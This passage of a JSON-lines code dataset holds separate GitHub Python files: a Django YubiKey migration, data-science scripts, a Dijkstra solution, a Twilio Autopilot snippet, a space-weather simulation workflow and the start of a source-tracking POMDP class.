auto_created=True, primary_key=True)),\n ('name', models.CharField(help_text='The human-readable name of this device.', max_length=64)),\n ('confirmed', models.BooleanField(default=True, help_text='Is this device ready for use?')),\n ('public_id', models.CharField(help_text='The public identity of the YubiKey (modhex-encoded).', max_length=32, verbose_name='Public ID')),\n ],\n options={\n 'abstract': False,\n 'verbose_name': 'Remote YubiKey device',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='ValidationService',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(help_text='The name of this validation service.', max_length=32)),\n ('api_id', models.IntegerField(default=1, help_text='Your API ID.', verbose_name='API ID')),\n ('api_key', models.CharField(default='', help_text='Your base64-encoded API key.', max_length=64, verbose_name='API key', blank=True)),\n ('base_url', models.URLField(default='', help_text=\"The base URL of the verification service. Defaults to Yubico's hosted API.\", verbose_name='Base URL', blank=True)),\n ('api_version', models.CharField(default='2.0', help_text='The version of the validation api to use.', max_length=8, choices=[('1.0', '1.0'), ('1.1', '1.1'), ('2.0', '2.0')])),\n ('use_ssl', models.BooleanField(default=False, help_text='Use HTTPS API URLs by default?', verbose_name='Use SSL')),\n ('param_sl', models.CharField(default=None, help_text='The level of syncing required.', max_length=16, verbose_name='SL', blank=True)),\n ('param_timeout', models.CharField(default=None, help_text='The time to allow for syncing.', max_length=16, verbose_name='Timeout', blank=True)),\n ],\n options={\n 'verbose_name': 'YubiKey validation service',\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='YubikeyDevice',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(help_text='The human-readable name of this device.', max_length=64)),\n ('confirmed', models.BooleanField(default=True, help_text='Is this device ready for use?')),\n ('private_id', models.CharField(default=otp_yubikey.models.default_id, help_text='The 6-byte private ID (hex-encoded).', max_length=12, verbose_name='Private ID', validators=[otp_yubikey.models.id_validator])),\n ('key', models.CharField(default=otp_yubikey.models.default_key, help_text='The 16-byte AES key shared with this YubiKey (hex-encoded).', max_length=32, validators=[otp_yubikey.models.key_validator])),\n ('session', models.PositiveIntegerField(default=0, help_text='The non-volatile session counter most recently used by this device.')),\n ('counter', models.PositiveIntegerField(default=0, help_text='The volatile session usage counter most recently used by this device.')),\n ('user', models.ForeignKey(help_text='The user that this device belongs to.', to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE)),\n ],\n options={\n 'abstract': False,\n 'verbose_name': 'Local YubiKey device',\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='remoteyubikeydevice',\n name='service',\n field=models.ForeignKey(to='otp_yubikey.ValidationService', on_delete=models.CASCADE),\n preserve_default=True,\n ),\n migrations.AddField(\n model_name='remoteyubikeydevice',\n name='user',\n field=models.ForeignKey(help_text='The user that this device belongs to.', to=settings.AUTH_USER_MODEL, on_delete=models.CASCADE),\n preserve_default=True,\n ),\n ]\n","repo_name":"django-otp/django-otp-yubikey","sub_path":"src/otp_yubikey/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"7722920941","text":"#!/usr/local/bin/python3\n\nfrom sys import argv\nimport cal_course_alerts\n\ndef main():\n if len(argv) < 3:\n email = input(\"Email: \")\n courses = input(\"List course id separated by comma: \")\n else:\n email = argv[1]\n courses = argv[2]\n\n cal_course_alerts.alert(email, courses)\n\nif __name__ == '__main__':\n main()\n","repo_name":"adelaide-chen/check-class-status","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74152871147","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import linear_model\nfrom sklearn.metrics import mean_squared_error\n\n\n\n\nWineQualityDF = pd.read_csv('Python_Lesson5/winequality-red.csv')\n\n\n#Drop missing data\ndata = WineQualityDF.select_dtypes(include=[np.number]).interpolate().dropna()\n\n#Check Data\nprint(WineQualityDF.quality.describe())\n\n#Check for Skewness -- Skewness is approximately symmetric\nprint (\"Skew is:\", WineQualityDF.quality.skew())\n#plt.hist(WineQualityDF.quality, color='blue')\n#plt.show()\n\n#Correlation -- alchohol, volatile acidity, and sulphates are the 3 highest correlated features\nnumeric_features = WineQualityDF.select_dtypes(include=[np.number])\ncorr = numeric_features.corr()\nprint(corr['quality'],'\\n') \n\n#Build Linear Model\ny = WineQualityDF.quality\nX = data[['alcohol','volatile acidity', 'sulphates']]\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=.33)\nlr = linear_model.LinearRegression()\nmodel = lr.fit(X_train, y_train)\n\n#R2 Score\nprint (\"R^2 is: \\n\", model.score(X_test, y_test))\n\n#RMSE\npredictions = model.predict(X_test)\nprint ('RMSE is: \\n', mean_squared_error(y_test, predictions))\n\n##visualize\n\nactual_values = y_test\nplt.scatter(predictions, actual_values, alpha=0.25, color='b') #alpha helps to show overlapping data\nplt.xlabel('Predicted Quality')\nplt.ylabel('Actual Quality')\nplt.title('Linear Regression Model')\nplt.show()\n\n\n","repo_name":"zshinyg/CSEE5590","sub_path":"Python_Lesson5/Python_Lesson5_ICP/Prob2.py","file_name":"Prob2.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33254534082","text":"from init import bilstm\nfrom fasttext import fasttexts\nfrom rnn import deepModel, Finisher\nfrom gruwithft import gruwithft\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import KFold\nfrom keras.utils.np_utils import to_categorical # convert to one-hot-encoding\n\nEMBEDDING_FILE = '/home/students/student3_2a/nsdc/text/glove.840B.300d.txt'\ntrain_x = pd.read_csv('/home/students/student3_2a/nsdc/text/train.csv')\ntest_x = pd.read_csv('/home/students/student3_2a/nsdc/text/test.csv')\n\n\n\nmax_features=80000\nmaxlen=150\nembed_size=300\n\nx_train = train_x['title'].fillna(' ')\ntrain_y = train_x['Category'].values\ny_train = to_categorical(train_y)\n\n\ntest_x['title'].fillna(' ')\n\nx_test = test_x['title'].str.lower()\n\n\n# # Vectorize text + Prepare GloVe Embedding\n# tokenizer = text.Tokenizer(num_words=max_features, lower=True)\n# tokenizer.fit_on_texts(list(train_x))\n\n# train_x = tokenizer.texts_to_sequences(train_x)\n# test_x = tokenizer.texts_to_sequences(test_x)\n\n# x_train = sequence.pad_sequences(train_x, maxlen=maxlen)\n# x_test = sequence.pad_sequences(test_x, maxlen=maxlen)\n\nclass Ensemble():\n def __init__(self, n_folds, stacker, base_models):\n self.n_folds = n_folds\n self.stacker = stacker\n self.base_models = base_models\n def fit_predict(self, X, y, T):\n \n folds = list(KFold(n_splits=self.n_folds, shuffle=True, random_state=2017).split(X))\n S_train = np.zeros((X.shape[0], 58*len(self.base_models)))\n S_test = []\n final_test = np.empty((T.shape[0],58*len(self.base_models)))\n for i, clf in enumerate(self.base_models):\n for j, (train_idx, test_idx) in enumerate(folds):\n print(train_idx)\n print(\"On {}{}\".format(i,j))\n X_train = X[train_idx]\n y_train = y[train_idx]\n X_holdout = X[test_idx]\n y_pred, y_test = clf.run(X_train,y_train,X_holdout,T)[:]\n S_train[test_idx, i*58:i*58+58] = y_pred\n S_test.append(y_test)\n final_test[:,i*58:i*58+58] = np.mean(np.array(S_test), axis=0)\n return self.stacker.finish(np.expand_dims(S_train, axis=2), y, np.expand_dims(final_test, axis=2))[:]\n\ngo = Ensemble(5, Finisher((174,1)), [bilstm(),deepModel(),gruwithft()])\ngo.fit_predict(x_train, y_train, x_test)\n","repo_name":"llllxt/Product-Classification","sub_path":"text/stacking/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19143410024","text":"import pyximport; pyximport.install()\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n\ndef main():\n work_dir = 'final-long-running-test'\n\n # Plot general loss\n plot(os.path.join(work_dir, 'loss.csv'), 0, -1, loss_label='Gesamter Fehler')\n plot(os.path.join(work_dir, 'loss_prob.csv'), 0, -1, loss_label='Prob Fehler')\n\n # Plot reg loss\n plot(os.path.join(work_dir, 'loss_reg.csv'), 0, -1, loss_label='L2 Regulierungs Fehler', y_lim=(0.49, 0.55))\n plot(os.path.join(work_dir, 'loss_reg.csv'), 100, 500, loss_label='L2 Regulierungs Fehler', y_lim=(0.49, 0.55))\n\n\ndef plot(stats_file, lower_bound, upper_bound, smoothing=0.9, loss_label='Fehler', y_lim=None):\n x_scaling = 1 / 1000 # Show thousands on x axis\n\n stats = np.loadtxt(stats_file, skiprows=1, delimiter=',')\n stats = np.transpose(stats) # Change axis for easy selection\n x_steps = stats[1][lower_bound:upper_bound] * x_scaling\n y_loss = stats[2][lower_bound:upper_bound]\n\n smoothed_loss = [y_loss[0]]\n for i in range(1, len(y_loss)):\n smoothed_loss.append(smoothing * smoothed_loss[i - 1] + (1 - smoothing) * y_loss[i])\n\n plt.plot(x_steps, y_loss, alpha=0.4)\n plt.plot(x_steps, smoothed_loss)\n if y_lim:\n plt.ylim(y_lim)\n plt.xlabel('Batch (in 1000)')\n plt.ylabel(loss_label)\n\n # Markers for important part\n plt.axvline(x=1500000 * x_scaling, color='r')\n plt.axvline(x=2100000 * x_scaling, color='r')\n\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"FritzFlorian/bachelor-thesis-code","sub_path":"reversialphazero/distributed_8_by_8/plot_losses.py","file_name":"plot_losses.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29481319436","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nfrom setuptools import setup\n\n\ntry:\n long_description = open(b'README.rst', 'rt').read()\nexcept IOError:\n long_description = \"\"\n\ntry:\n long_description += open(b'ChangeLog.rst', 'rt').read().strip()\nexcept IOError:\n pass\n\n\nMODULE_PATH = os.path.join(os.getcwd(), \"encrypted_id\", \"__init__.py\")\n\n\ndef find_this(search, filename=MODULE_PATH):\n \"\"\"Take a string and a filename path string and return the found value.\"\"\"\n if not search:\n return\n for line in open(str(filename)).readlines():\n if search.lower() in line.lower():\n line = line.split(\"=\")[1].strip()\n if \"'\" in line or '\"' in line or '\"\"\"' in line:\n line = line.replace(\"'\", \"\").replace('\"', '').replace('\"\"\"', '')\n return line\n\n\nprint(find_this(\"__version__\"))\n\nsetup(\n name=\"django-encrypted-id\",\n description=\"Encrypted IDs for Django Models\",\n long_description=long_description,\n\n version=find_this(\"__version__\"),\n\n author=find_this(\"__author__\"),\n author_email=find_this(\"__email__\"),\n maintainer=find_this(\"__author__\"),\n maintainer_email=find_this(\"__email__\"),\n\n url=find_this(\"__source__\"),\n license=find_this(\"__license__\"),\n\n\n install_requires=[\n \"Django>=1.8\", \"pycryptodomex\",\n ],\n\n\n packages=[\"encrypted_id\"],\n zip_safe=True,\n\n\n keywords=['Django', 'Web'],\n\n\n classifiers=[\n\n 'Development Status :: 5 - Production/Stable',\n\n 'Intended Audience :: Developers',\n 'Intended Audience :: End Users/Desktop',\n 'Intended Audience :: System Administrators',\n 'Intended Audience :: Information Technology',\n 'Intended Audience :: Other Audience',\n\n 'Natural Language :: English',\n\n 'Operating System :: OS Independent',\n 'Operating System :: POSIX :: Linux',\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: MacOS :: MacOS X',\n\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n\n 'Programming Language :: Python :: Implementation :: CPython',\n\n 'Topic :: Software Development',\n\n ],\n)\n","repo_name":"amitu/django-encrypted-id","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"37"} +{"seq_id":"22103443151","text":"##輸入小於255的數字##\n\nnum = 256\nwhile num > 255:\n num = eval(input('輸入一個十進位的數字: '))\n if num <= 255:\n break\nprint('十進位:', num)\n\n##轉為2進位##\n\n# 計算出二進位數字\nbinary_num_2 = []\nmod_num_2 = []\nbinary_num_2.append(num // (2**(7)))\nmod_num_2.append(num % (2**(7)))\n\nfor i in range(7):\n binary_num_2.append(mod_num_2[i] // (2**(6-i)))\n mod_num_2.append(mod_num_2[i] % (2**(6-i)))\n\n# 去除開頭的0\n\nfor j in range(len(binary_num_2)):\n if binary_num_2[0] == 0:\n binary_num_2.pop(0)\n else:\n break\n\n# 列出數字\nprint('二進位: ', end='')\nfor k in range(len(binary_num_2)):\n print(binary_num_2[k], end='')\n\n\n##轉為16進位##\n\nbit_16 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F']\nbit_2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n\n# 計算出16進位數字\nbinary_num_16 = []\nmod_num_16 = []\nbinary_num_16.append(num // (16**(1)))\nmod_num_16.append(num % (16**(1)))\nbinary_num_16.append(mod_num_16[0] // (16**(0)))\nmod_num_16.append(mod_num_16[0] % (16**(0)))\n\n# 去除開頭的0\n\nfor j in range(len(binary_num_16)):\n if binary_num_16[0] == 0:\n binary_num_16.pop(0)\n else:\n break\n\n# 將大於10的數字更換成字母\n\nfor j in range(len(binary_num_16)):\n binary_num_16[j] = bit_16[bit_2.index(binary_num_16[j])]\n\n# 列出數字\nprint('')\nprint('16進位: ', end='')\nfor k in range(len(binary_num_16)):\n print(binary_num_16[k], end='')\n\n \n \n \n \n \n# 輸出結果: \n# PS C:\\Users\\bruce\\vscode\\code> & C:/Users/bruce/AppData/Local/Programs/Python/Python38/python.exe c:/Users/bruce/vscode/code/converter.py\n# 輸入一個十進位的數字: 234\n# 十進位: 234\n# 二進位: 11101010\n# 16進位: EA\n\n","repo_name":"bruce0512/Basic_Data_structure_and_Algorithms","sub_path":"hw1_binary_hex_converter.py","file_name":"hw1_binary_hex_converter.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3605666061","text":"import heapq\nimport sys\ninput = sys.stdin.readline\nINF = int(1e9)\n\nV,E = map(int,input().split())\nstart = int(input())\ngraph = [[] for _ in range(V+1)] # 그래프 정보를 넣어줄 리스트 선언\ndistance = [INF]*(V+1) # 최단경로 리스트 선언\nvisited = [False]*(V+1) # 방문표시 리스트 선언\nfor i in range(E) :\n u,v,w = map(int,input().split())\n graph[u].append((v,w)) # u에서 v로가는 비용이 w다.\n\ndef dijkstra(start) :\n q = [] # 힙만들어주기\n distance[start] = 0 # start의 최단경로는 0으로 만들어준다.\n heapq.heappush(q,(0,start)) # 최단경로와 본인의 노드지점의 쌍을 힙에 넣어줌\n while q :\n # 가장 짧은 최단경로의 노드에 대한 정보를 꺼낸다.\n dist, now = heapq.heappop(q)\n if distance[now] < dist :\n continue\n for i in graph[now] :\n cost = dist + i[1]\n if cost < distance[i[0]] :\n distance[i[0]] = cost\n heapq.heappush(q,(cost,i[0]))\n\ndijkstra(start)\n\nfor i in range(1,V+1) :\n if distance[i] == INF :\n print(\"INF\")\n else :\n print(distance[i])","repo_name":"kiki249049/Baekjoon","sub_path":"백준/Gold/1753. 최단경로/최단경로.py","file_name":"최단경로.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43309883203","text":"import datetime\nfrom mainPage.models import Block\nimport requests\n\n\ndef fetch_blocs(date=datetime.date.today().isoformat()):\n\turl = 'https://bcschain.info/api/blocks?date={}'.format(date)\n\tresponse = requests.get(url)\n\tblocks = response.json()\n\tfor block in blocks:\n\t\tblock_to_save = Block(\n\t\t\thash=block['hash'],\n\t\t\theight=block['height'],\n\t\t\ttimestamp=block['timestamp'],\n\t\t\tiso_timestamp=datetime.datetime.utcfromtimestamp(block['timestamp']),\n\t\t\tinterval=block['interval'],\n\t\t\tsize=block['size'],\n\t\t\ttransactionCount=block['transactionCount'],\n\t\t\tminer=block['miner'],\n\t\t\treward=block['reward'],\n\t\t)\n\t\tif not Block.objects.filter(hash=block['hash']).exists():\n\t\t\tblock_to_save.save()\n\n","repo_name":"hungryhost/bcs_test_app","sub_path":"bcsproject/helpers/fetcher.py","file_name":"fetcher.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29568015513","text":"import sys\n#sys.path.append(\"../\")\nfrom manager import workflow\nimport os\nimport pony.orm as pny\nimport datetime\nimport time\nimport json\nfrom base64 import b64decode\nfrom Database import LocalDataStorage\nfrom Database.workflow import Simulation, Incident\n#from DataManager.client import registerDataWithDM, putByteDataViaDM, DataManagerException\nfrom DataManager.client import moveDataViaDM, DataManagerException, getInfoForDataInDM, putByteDataViaDM, registerDataWithDM, copyDataViaDM, getLocalFilePathPrepend\nfrom SimulationManager.client import createSimulation, submitSimulation, SimulationManagerException\nfrom ExternalDataInterface.client import registerEndpoint, ExternalDataInterfaceException, removeEndpoint\n\n# create and submit jobs\ndef _launch_simulation(msg, callback='spaceweather_postprocess'):\n print(\"\\nSpaceweather simulation submit handler\")\n IncidentID = msg[\"IncidentID\"]\n CaseName = msg['SimulationCase']\n ParaViewAddress = msg['ParaViewAddress']\n ParaViewPort = msg['ParaViewPort']\n print(msg)\n if CaseName is None:\n print('Case name is none!')\n return\n\n try:\n callbacks = { 'COMPLETED': callback }\n sim_id = createSimulation(IncidentID,\n 1,\n '00:15:00',\n CaseName,\n 'run_spaceweather.sh %s %s %d' % (CaseName, ParaViewAddress, ParaViewPort),\n callbacks,\n template_dir='template_'+CaseName)\n submitSimulation(sim_id)\n except SimulationManagerException as err:\n print(\"Error creating or submitting simulation \"+err.message)\n return\n\n@workflow.handler\ndef iPIC3D_2D_B0z0_0(msg):\n print(\"\\nSpaceweather base simulation\")\n IncidentId = msg[\"IncidentID\"]\n try:\n _launch_simulation(msg)\n workflow.send(queue=\"spaceweather_postprocess\", message=msg) # dummy connection\n except e:\n print('Error launching base case '+e.message)\n\n@workflow.handler\ndef iPIC3D_2D_B0z0_0195(msg):\n print(\"\\nSpaceweather B0z 0.0195 simulation\")\n IncidentId = msg[\"IncidentID\"]\n try:\n _launch_simulation(msg)\n workflow.send(queue=\"spaceweather_postprocess\", message=msg) # dummy connection\n except e:\n print('Error launching B0z 0.0195 case '+e.message)\n\n@workflow.handler\ndef iPIC3D_2D_B0z0_00975(msg):\n print(\"\\nSpaceweather B0z 0.00975 simulation\")\n IncidentId = msg[\"IncidentID\"]\n try:\n _launch_simulation(msg)\n workflow.send(queue=\"spaceweather_postprocess\", message=msg) # dummy connection\n except e:\n print('Error launching B0z 0.00975 case '+e.message)\n\n@workflow.handler\ndef iPIC3D_2D_B0z0_039(msg):\n print(\"\\nSpaceweather B0z 0.039 simulation\")\n IncidentId = msg[\"IncidentID\"]\n try:\n _launch_simulation(msg)\n workflow.send(queue=\"spaceweather_postprocess\", message=msg) # dummy connection\n except e:\n print('Error launching B0z 0.039 case '+e.message)\n \n# space weather init\n@workflow.handler\ndef spaceweather_init(msg):\n print(\"\\nSpaceweather simulation init handler\")\n IncidentID = msg[\"IncidentID\"]\n\n #workflow.setIncidentActive(IncidentID)\n pv_address = os.environ['PV_ADDRESS'] if 'PV_ADDRESS' in os.environ else 'steven-XPS-13-9370'\n\n msg['SimulationCase'] = '2D_B0z0.039'\n msg['ParaViewAddress'] = pv_address\n msg['ParaViewPort'] = 22228\n workflow.send(queue=\"iPIC3D_2D_B0z0_039\", message=msg)\n\n msg['SimulationCase'] = '2D_B0z0.00975'\n msg['ParaViewAddress'] = pv_address\n msg['ParaViewPort'] = 22226\n workflow.send(queue=\"iPIC3D_2D_B0z0_00975\", message=msg)\n\n msg['SimulationCase'] = '2D_B0z0.0195'\n msg['ParaViewAddress'] = pv_address\n msg['ParaViewPort'] = 22224\n workflow.send(queue=\"iPIC3D_2D_B0z0_0195\", message=msg)\n\n msg['SimulationCase'] = '2D_B0z0.0'\n msg['ParaViewAddress'] = pv_address\n msg['ParaViewPort'] = 22222\n workflow.send(queue=\"iPIC3D_2D_B0z0_0\", message=msg)\n\n# space weather shutdown\n@workflow.handler\ndef spaceweather_postprocess(msg):\n\n IncidentID = msg[\"IncidentID\"]\n originator = msg['originator']\n logs = workflow.Persist.Get(IncidentID)\n print(\"\\nSpaceweather simulation postprocess handler\", IncidentID)\n\n if originator == 'Simulation Completed':\n simulationId = msg[\"simulationId\"]\n simulationIdPostfix=simulationId.split(\"-\")[-1]\n directoryListing=msg[\"directoryListing\"]\n\n print(\"\\nResults available for wildfire analyst simulation!\") \n\n with pny.db_session:\n myincident = Incident[IncidentID]\n simulation=Simulation[simulationId]\n machine_name=simulation.machine.machine_name\n machine_basedir=simulation.machine.base_work_dir\n if machine_basedir[-1] != \"/\": machine_basedir+=\"/\"\n\n if simulation is not None:\n result_files={}\n for entry in directoryListing:\n # '193993425 96 -rw-rw-r-- 1 vestec vestec 97574 Nov 28 15:48 incident-bb97271000f5/simulation-a350bba3ee36/output_log.txt'\n tokens=entry.split()\n if len(tokens) == 11 and \"data\" in tokens[-1]:\n result_files[tokens[-1]]=int(tokens[6])\n\n data_uuids = []\n for filepath, filesize in result_files.items():\n filename = os.path.basename(filepath)\n directory = os.path.dirname(filepath)\n print(filename, directory, filesize)\n\n # register output data with data manager\n try:\n #if \".vtu\" in filename:\n # data_uuid=registerDataWithDM(filename.replace('(', r'\\(').replace(')', r'\\)'), machine_name, \"spaceweahter simulation (\"+simulation.kind+\")\",\n # \"application/xml\", filesize, \"vtu\", path=directory, associate_with_incident=True, incidentId=IncidentID,\n # kind=simulation.kind, comment=\"Basecase created by iPICmini on \"+machine_name)\n #elif \".ttk\" in filename:\n # data_uuid=registerDataWithDM(filename.replace('(', r'\\(').replace(')', r'\\)'), machine_name, \"spaceweahter simulation (\"+simulation.kind+\")\",\n # \"application/octet-stream\", filesize, \"ttk\", path=directory, associate_with_incident=True, incidentId=IncidentID,\n # kind=simulation.kind, comment=\"Basecase created by iPICmini on \"+machine_name)\n # data_uuids.append(data_uuid)\n #elif \".csv\" in filename:\n # data_uuid=registerDataWithDM(filename.replace('(', r'\\(').replace(')', r'\\)'), machine_name, \"spaceweahter simulation (\"+simulation.kind+\")\",\n # \"text/csv\", filesize, \"csv\", path=directory, associate_with_incident=True, incidentId=IncidentID,\n # kind=simulation.kind, comment=\"Basecase created by iPICmini on \"+machine_name)\n # data_uuids.append(data_uuid)\n if \".vtk\" in filename and (\"B\" in filename or \"E\" in filename or \"rho\" in filename or \"J\" in filename) and '2500' in filename:\n data_uuid=registerDataWithDM(filename.replace('(', r'\\(').replace(')', r'\\)'), machine_name, \"spaceweahter simulation (\"+simulation.kind+\")\",\n \"application/octet-stream\", filesize, \"vtk\", path=directory, associate_with_incident=True, incidentId=IncidentID,\n kind=simulation.kind, comment=\"Basecase created by iPICmini on \"+machine_name)\n data_uuids.append(data_uuid)\n\n except DataManagerException as err:\n print(\"Error registering spaceweahter base result data with data manager, aborting \"+err.message)\n\n\n workflow.Persist.Put(IncidentID, {'type': 'postprocessed'})\n logs = workflow.Persist.Get(IncidentID)\n print(logs)\n \n completed = 0\n for log in logs:\n if 'type' in log or log['type'] == 'postprocessed':\n completed = completed + 1\n\n if completed >= 4:\n print('All simulation completed')\n workflow.send(queue='spaceweather_shutdown', message=msg)\n else:\n print(\"Ignore originator with \"+originator)\n return\n\n#@workflow.handler\n#def spaceweather_postprocess(msg):\n# IncidentID = msg[\"IncidentID\"]\n# originator = msg[\"originator\"]\n#\n# if originator == 'Simulation Compmleted':\n# workflow.Persist.Put(IncidentID, {'type': 'postprocessed'})\n# logs = workflow.Persist.Get(IncidentID)\n# print(logs)\n#\n# completed = 0\n# if len(logs) >= 3:\n# for log in logs:\n# if 'type' in log or log['type'] == 'postprocessed':\n# completed = completed + 1\n#\n# if completed >= 3:\n# print('All simulation completed')\n# workflow.send(queue='spaceweather_shutdown', message=msg)\n# else:\n# workflow.Persist.Put(IncidentID, { 'orginator': originator })\n\n####\n #workflow.Persist.Put(IncidentID, {\"type\": \"postprocssed\", \"originator\": CaseName})\n #logs = workflow.Persist.Get(IncidentID)\n #print(logs)\n\n #_2Dxy = False\n #_2DxyGuideCase1 = False\n #_2DxyGuideCase2 = False\n\n #for log in logs:\n # if \"type\" in log and log[\"processed\"] == \"shutdown\":\n # if log[\"originator\"] == \"spaceweather_base_simulation\" : _2Dxy=True\n # if log[\"originator\"] == \"spaceweather_GuideCase1_simulation\": _2DxyGuideCase1=True\n # if log[\"originator\"] == \"spaceweather_GuideCase2_simulation\": _2DxyGuideCase2=True\n\n #if _2Dxy is True and _2DxyGuideCase1 is True and _2DxyGuideCase2 is True:\n # print('Complete incident', IncidentID)\n # workflow.send(queue=\"spaceweather_shutdown\", message=msg)\n\n@workflow.handler\ndef spaceweather_shutdown(msg):\n print(\"\\nSpaceweather simulation shutdown handler\")\n IncidentID = msg[\"IncidentID\"]\n workflow.Complete(IncidentID)\n\n# we have to register them with the workflow system\ndef RegisterHandlers():\n workflow.RegisterHandler(handler=iPIC3D_2D_B0z0_0, queue=\"iPIC3D_2D_B0z0_0\")\n workflow.RegisterHandler(handler=iPIC3D_2D_B0z0_0195, queue=\"iPIC3D_2D_B0z0_0195\")\n workflow.RegisterHandler(handler=iPIC3D_2D_B0z0_00975, queue=\"iPIC3D_2D_B0z0_00975\")\n workflow.RegisterHandler(handler=iPIC3D_2D_B0z0_039, queue=\"iPIC3D_2D_B0z0_039\")\n workflow.RegisterHandler(handler=spaceweather_init, queue=\"spaceweather_init\")\n workflow.RegisterHandler(handler=spaceweather_postprocess, queue=\"spaceweather_postprocess\")\n workflow.RegisterHandler(handler=spaceweather_shutdown, queue=\"spaceweather_shutdown\")","repo_name":"VESTEC-EU/vestec-system","sub_path":"WorkflowManager/workflows/spaceweather/spaceweather.py","file_name":"spaceweather.py","file_ext":"py","file_size_in_byte":11133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37408983471","text":"# Download the helper library from https://www.twilio.com/docs/python/install\nfrom twilio.rest import Client\n\n\n# Your Account Sid and Auth Token from twilio.com/console\naccount_sid = 'AC9xxxxxxxxxxxxxxxxxxxxxxxxxxxx99'\nauth_token = '64xxxxxxxxxxxxxxxxxxxxxxxxxxx8'\nclient = Client(account_sid, auth_token)\n\nmodel_build = client.autopilot \\\n .assistants('UAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa') \\\n .model_builds \\\n .create(unique_name='v0.5')\n\nprint(model_build.sid)\n","repo_name":"leewalter/coding","sub_path":"python/Twilio/AutoPilot/build_training_model.py","file_name":"build_training_model.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13501740344","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"Provides the SourceTracking class, to simulate the source-tracking POMDP.\"\"\"\n\nimport numpy as np\nimport warnings\nfrom copy import deepcopy\nfrom scipy.special import kv\nfrom scipy.special import kn\nfrom scipy.special import gamma as Gamma\nfrom scipy.stats import poisson as Poisson_distribution\n\n# _____________________ parameters _____________________\nEPSILON = 1e-10\n# ________________________________________________________\n\n\nclass SourceTracking:\n \"\"\"Environment used to simulate the source-tracking POMDP.\n\n Args:\n Ndim (int):\n number of space dimensions (1D, 2D...)\n lambda_over_dx (float):\n dimensionless problem size (odor dispersion lengthscale divided by agent step size)\n R_dt (float):\n dimensionless source intensity (source rate of emission multiplied by the agent time step)\n norm_Poisson ('Euclidean', 'Manhattan' or 'Chebyshev', optional):\n norm used for hit detections (default='Euclidean')\n Ngrid (int or None, optional):\n linear size of the domain, set automatically if None (default=None)\n Nhits (int or None, optional):\n number of possible hit values, set automatically if None (default=None)\n draw_source (bool, optional):\n whether to actually draw the source location (otherwise uses Bayesian framework) (default=False)\n initial_hit (int or None, optional):\n value of the initial hit, if None drawn randomly according to relevant probability distribution (default=None)\n dummy (bool, optional):\n set automatic parameters (e.g., Ngrid) but does not initialize the POMDP (default=False)\n\n Attributes:\n Ndim (int):\n number of dimension of space (1D, 2D...)\n lambda_over_dx (float):\n dimensionless problem size (odor dispersion lengthscale divided by agent step size)\n R_dt (float):\n dimensionless source intensity (source rate of emission multiplied by the agent time step)\n norm_Poisson (str):\n norm used for hit detections: 'Euclidean', 'Manhattan' or 'Chebyshev'\n Ngrid (int):\n linear size of the domain\n Nhits (int):\n number of possible hit values\n draw_source (bool):\n whether a source location is actually drawn (otherwise uses Bayesian framework)\n initial_hit (int):\n value of the initial hit\n Nactions (int):\n number of possible actions\n NN_input_shape (tuple(int)):\n shape of the input array for neural network models\n mu0_Poisson (float):\n mean number of hits at a distance lambda_over_dx from the source\n agent (list(int)):\n current agent location\n p_source (ndarray):\n current probability distribution of the source location)\n obs (dict):\n current observation (\"hit\" and \"done\")\n hit_map (ndarray):\n number of hits received for each location (-1 for cells not visited ye\n cumulative_hits (int):\n cumulated sum of hits received (ignoring initial hit)\n agent_near_boundaries (bool):\n whether the agent is currently near a boundary\n agent_stuck (bool):\n whether the agent is currently 